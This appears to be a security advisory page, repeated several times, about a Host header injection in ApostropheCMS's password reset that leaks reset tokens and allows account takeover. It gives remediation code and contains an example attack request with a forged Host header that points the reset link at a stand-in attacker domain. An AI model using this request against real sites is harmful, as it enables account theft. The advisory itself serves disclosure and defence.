## Summary ApostropheCMS's password reset flow constructs the reset URL using `req.hostname`, which is derived directly from the attacker-controlled HTTP `Host` header when `apos.baseUrl` is not explicitly configured. An unauthenticated attacker who knows a victim's email address can send a crafted reset request that causes the application to email the victim a reset link pointing to the attacker's domain. When the victim clicks the link, the valid reset token is delivered to the attacker, enabling full account takeover. ## Affected Component `modules/@apostrophecms/login/index.js` — `resetRequest` route Precondition: `passwordReset: true` is set **and** `apos.baseUrl` is not configured. ## Vulnerability Details The `setPrefixUrls` middleware (i18n layer) builds `req.baseUrl` using `req.hostname`: ```js // Simplified from i18n middleware req.baseUrl = `${req.protocol}://${req.hostname}`; req.absoluteUrl = req.baseUrl + req.url; ``` The `resetRequest` handler then passes this tainted value directly into URL construction: ```js const parsed = new URL( req.absoluteUrl, // ← tainted by attacker's Host header self.apos.baseUrl ? undefined : `${req.protocol}://${req.hostname}${port}` // ← also tainted ); parsed.pathname = '/login'; parsed.searchParams.append('reset', reset); // real, valid token parsed.searchParams.append('email', user.email); await self.email(..., { url: parsed.toString() }, ...); // Email sent to victim with URL pointing to attacker-controlled domain ``` When `apos.baseUrl` is configured, it is used unconditionally and the attacker's `Host` header is ignored — that path is **not** vulnerable. ## Attack Scenario 1. Attacker identifies a valid user email (e.g. from the site's public interface). 2. Attacker sends: ``` POST /api/v1/login/reset-request Host: evil.attacker.com Content-Type: application/json {"email": "[email protected]"} ``` 3. The application emails the victim: ``` Click here to reset your password: http://evil.attacker.com/login?reset=TOKEN&[email protected] ``` 4. Victim clicks the link; attacker's server captures `TOKEN`. 5. Attacker calls the real target's reset endpoint with the captured token and sets a new password — full account takeover. ## Preconditions - `passwordReset: true` configured in login module options (opt-in) - `apos.baseUrl` is **not** set (common in development and some production deployments) - Attacker knows or can enumerate a valid account email ## Impact Full account takeover of any account whose email address is known to the attacker. No authentication or interaction beyond sending a single HTTP request is required from the attacker. The victim need only click a link in a legitimate-looking password reset email from their own site. ## Remediation **Operators (immediate):** Always set `apos.baseUrl` in your configuration: ```js // app.js or module configuration modules: { '@apostrophecms/express': { options: { baseUrl: 'https://yourdomain.com' } } } ``` **Framework fix (recommended):** The `resetRequest` route should refuse to proceed if `apos.baseUrl` is not configured, rather than falling back to the tainted `req.hostname`. Example: ```js // In resetRequest handler if (!self.apos.baseUrl) { throw self.apos.error( 'invalid', 'apos.baseUrl must be configured to enable password reset' ); } const parsed = new URL(self.loginUrl(), self.apos.baseUrl); ``` This eliminates the attacker-controlled input entirely from the URL construction path. ## References - [OWASP: Host Header Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection) - [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html)
## Summary ApostropheCMS's password reset flow constructs the reset URL using `req.hostname`, which is derived directly from the attacker-controlled HTTP `Host` header when `apos.baseUrl` is not explicitly configured. An unauthenticated attacker who knows a victim's email address can send a crafted reset request that causes the application to email the victim a reset link pointing to the attacker's domain. When the victim clicks the link, the valid reset token is delivered to the attacker, enabling full account takeover. ## Affected Component `modules/@apostrophecms/login/index.js` — `resetRequest` route Precondition: `passwordReset: true` is set **and** `apos.baseUrl` is not configured. ## Vulnerability Details The `setPrefixUrls` middleware (i18n layer) builds `req.baseUrl` using `req.hostname`: ```js // Simplified from i18n middleware req.baseUrl = `${req.protocol}://${req.hostname}`; req.absoluteUrl = req.baseUrl + req.url; ``` The `resetRequest` handler then passes this tainted value directly into URL construction: ```js const parsed = new URL( req.absoluteUrl, // ← tainted by attacker's Host header self.apos.baseUrl ? undefined : `${req.protocol}://${req.hostname}${port}` // ← also tainted ); parsed.pathname = '/login'; parsed.searchParams.append('reset', reset); // real, valid token parsed.searchParams.append('email', user.email); await self.email(..., { url: parsed.toString() }, ...); // Email sent to victim with URL pointing to attacker-controlled domain ``` When `apos.baseUrl` is configured, it is used unconditionally and the attacker's `Host` header is ignored — that path is **not** vulnerable. ## Attack Scenario 1. Attacker identifies a valid user email (e.g. from the site's public interface). 2. Attacker sends: ``` POST /api/v1/login/reset-request Host: evil.attacker.com Content-Type: application/json {"email": "[email protected]"} ``` 3. The application emails the victim: ``` Click here to reset your password: http://evil.attacker.com/login?reset=TOKEN&[email protected] ``` 4. Victim clicks the link; attacker's server captures `TOKEN`. 5. Attacker calls the real target's reset endpoint with the captured token and sets a new password — full account takeover. ## Preconditions - `passwordReset: true` configured in login module options (opt-in) - `apos.baseUrl` is **not** set (common in development and some production deployments) - Attacker knows or can enumerate a valid account email ## Impact Full account takeover of any account whose email address is known to the attacker. No authentication or interaction beyond sending a single HTTP request is required from the attacker. The victim need only click a link in a legitimate-looking password reset email from their own site. ## Remediation **Operators (immediate):** Always set `apos.baseUrl` in your configuration: ```js // app.js or module configuration modules: { '@apostrophecms/express': { options: { baseUrl: 'https://yourdomain.com' } } } ``` **Framework fix (recommended):** The `resetRequest` route should refuse to proceed if `apos.baseUrl` is not configured, rather than falling back to the tainted `req.hostname`. Example: ```js // In resetRequest handler if (!self.apos.baseUrl) { throw self.apos.error( 'invalid', 'apos.baseUrl must be configured to enable password reset' ); } const parsed = new URL(self.loginUrl(), self.apos.baseUrl); ``` This eliminates the attacker-controlled input entirely from the URL construction path. ## References - [OWASP: Host Header Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection) - [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html)
Monitor this advisory for an available fix and review any installs of the affected package.
Local check
hol-guard supply-chain scanApostrophe has a Weak Password Recovery Mechanism for Forgotten Password and Improper Input Validation affects apostrophe (npm). Severity is high. ## Summary ApostropheCMS's password reset flow constructs the reset URL using `req.hostname`, which is derived directly from the attacker-controlled HTTP `Host` header when `apos.baseUrl` is not explicitly configured. An unauthenticated attacker who knows a victim's email address can send a crafted reset request that causes the application to email the victim a reset link pointing to the attacker's domain. When the victim clicks the link, the valid reset token is delivered to the attacker, enabling full account takeover. ## Affected Component `modules/@apostrophecms/login/index.js` — `resetRequest` route Precondition: `passwordReset: true` is set **and** `apos.baseUrl` is not configured. ## Vulnerability Details The `setPrefixUrls` middleware (i18n layer) builds `req.baseUrl` using `req.hostname`: ```js // Simplified from i18n middleware req.baseUrl = `${req.protocol}://${req.hostname}`; req.absoluteUrl = req.baseUrl + req.url; ``` The `resetRequest` handler then passes this tainted value directly into URL construction: ```js const parsed = new URL( req.absoluteUrl, // ← tainted by attacker's Host header self.apos.baseUrl ? undefined : `${req.protocol}://${req.hostname}${port}` // ← also tainted ); parsed.pathname = '/login'; parsed.searchParams.append('reset', reset); // real, valid token parsed.searchParams.append('email', user.email); await self.email(..., { url: parsed.toString() }, ...); // Email sent to victim with URL pointing to attacker-controlled domain ``` When `apos.baseUrl` is configured, it is used unconditionally and the attacker's `Host` header is ignored — that path is **not** vulnerable. ## Attack Scenario 1. Attacker identifies a valid user email (e.g. from the site's public interface). 2. Attacker sends: ``` POST /api/v1/login/reset-request Host: evil.attacker.com Content-Type: application/json {"email": "[email protected]"} ``` 3. The application emails the victim: ``` Click here to reset your password: http://evil.attacker.com/login?reset=TOKEN&[email protected] ``` 4. Victim clicks the link; attacker's server captures `TOKEN`. 5. Attacker calls the real target's reset endpoint with the captured token and sets a new password — full account takeover. ## Preconditions - `passwordReset: true` configured in login module options (opt-in) - `apos.baseUrl` is **not** set (common in development and some production deployments) - Attacker knows or can enumerate a valid account email ## Impact Full account takeover of any account whose email address is known to the attacker. No authentication or interaction beyond sending a single HTTP request is required from the attacker. The victim need only click a link in a legitimate-looking password reset email from their own site. ## Remediation **Operators (immediate):** Always set `apos.baseUrl` in your configuration: ```js // app.js or module configuration modules: { '@apostrophecms/express': { options: { baseUrl: 'https://yourdomain.com' } } } ``` **Framework fix (recommended):** The `resetRequest` route should refuse to proceed if `apos.baseUrl` is not configured, rather than falling back to the tainted `req.hostname`. Example: ```js // In resetRequest handler if (!self.apos.baseUrl) { throw self.apos.error( 'invalid', 'apos.baseUrl must be configured to enable password reset' ); } const parsed = new URL(self.loginUrl(), self.apos.baseUrl); ``` This eliminates the attacker-controlled input entirely from the URL construction path. ## References - [OWASP: Host Header Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection) - [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html)
AI coding agents often install or upgrade packages automatically in npm. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| apostrophenpm | <=4.29.0 | Not reported |
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardMonitor this advisory for an available fix and review any installs of the affected package.
Local check
hol-guard supply-chain scanApostrophe has a Weak Password Recovery Mechanism for Forgotten Password and Improper Input Validation affects apostrophe (npm). Severity is high. ## Summary ApostropheCMS's password reset flow constructs the reset URL using `req.hostname`, which is derived directly from the attacker-controlled HTTP `Host` header when `apos.baseUrl` is not explicitly configured. An unauthenticated attacker who knows a victim's email address can send a crafted reset request that causes the application to email the victim a reset link pointing to the attacker's domain. When the victim clicks the link, the valid reset token is delivered to the attacker, enabling full account takeover. ## Affected Component `modules/@apostrophecms/login/index.js` — `resetRequest` route Precondition: `passwordReset: true` is set **and** `apos.baseUrl` is not configured. ## Vulnerability Details The `setPrefixUrls` middleware (i18n layer) builds `req.baseUrl` using `req.hostname`: ```js // Simplified from i18n middleware req.baseUrl = `${req.protocol}://${req.hostname}`; req.absoluteUrl = req.baseUrl + req.url; ``` The `resetRequest` handler then passes this tainted value directly into URL construction: ```js const parsed = new URL( req.absoluteUrl, // ← tainted by attacker's Host header self.apos.baseUrl ? undefined : `${req.protocol}://${req.hostname}${port}` // ← also tainted ); parsed.pathname = '/login'; parsed.searchParams.append('reset', reset); // real, valid token parsed.searchParams.append('email', user.email); await self.email(..., { url: parsed.toString() }, ...); // Email sent to victim with URL pointing to attacker-controlled domain ``` When `apos.baseUrl` is configured, it is used unconditionally and the attacker's `Host` header is ignored — that path is **not** vulnerable. ## Attack Scenario 1. Attacker identifies a valid user email (e.g. from the site's public interface). 2. Attacker sends: ``` POST /api/v1/login/reset-request Host: evil.attacker.com Content-Type: application/json {"email": "[email protected]"} ``` 3. The application emails the victim: ``` Click here to reset your password: http://evil.attacker.com/login?reset=TOKEN&[email protected] ``` 4. Victim clicks the link; attacker's server captures `TOKEN`. 5. Attacker calls the real target's reset endpoint with the captured token and sets a new password — full account takeover. ## Preconditions - `passwordReset: true` configured in login module options (opt-in) - `apos.baseUrl` is **not** set (common in development and some production deployments) - Attacker knows or can enumerate a valid account email ## Impact Full account takeover of any account whose email address is known to the attacker. No authentication or interaction beyond sending a single HTTP request is required from the attacker. The victim need only click a link in a legitimate-looking password reset email from their own site. ## Remediation **Operators (immediate):** Always set `apos.baseUrl` in your configuration: ```js // app.js or module configuration modules: { '@apostrophecms/express': { options: { baseUrl: 'https://yourdomain.com' } } } ``` **Framework fix (recommended):** The `resetRequest` route should refuse to proceed if `apos.baseUrl` is not configured, rather than falling back to the tainted `req.hostname`. Example: ```js // In resetRequest handler if (!self.apos.baseUrl) { throw self.apos.error( 'invalid', 'apos.baseUrl must be configured to enable password reset' ); } const parsed = new URL(self.loginUrl(), self.apos.baseUrl); ``` This eliminates the attacker-controlled input entirely from the URL construction path. ## References - [OWASP: Host Header Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection) - [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html)
AI coding agents often install or upgrade packages automatically in npm. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| apostrophenpm | <=4.29.0 | Not reported |
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard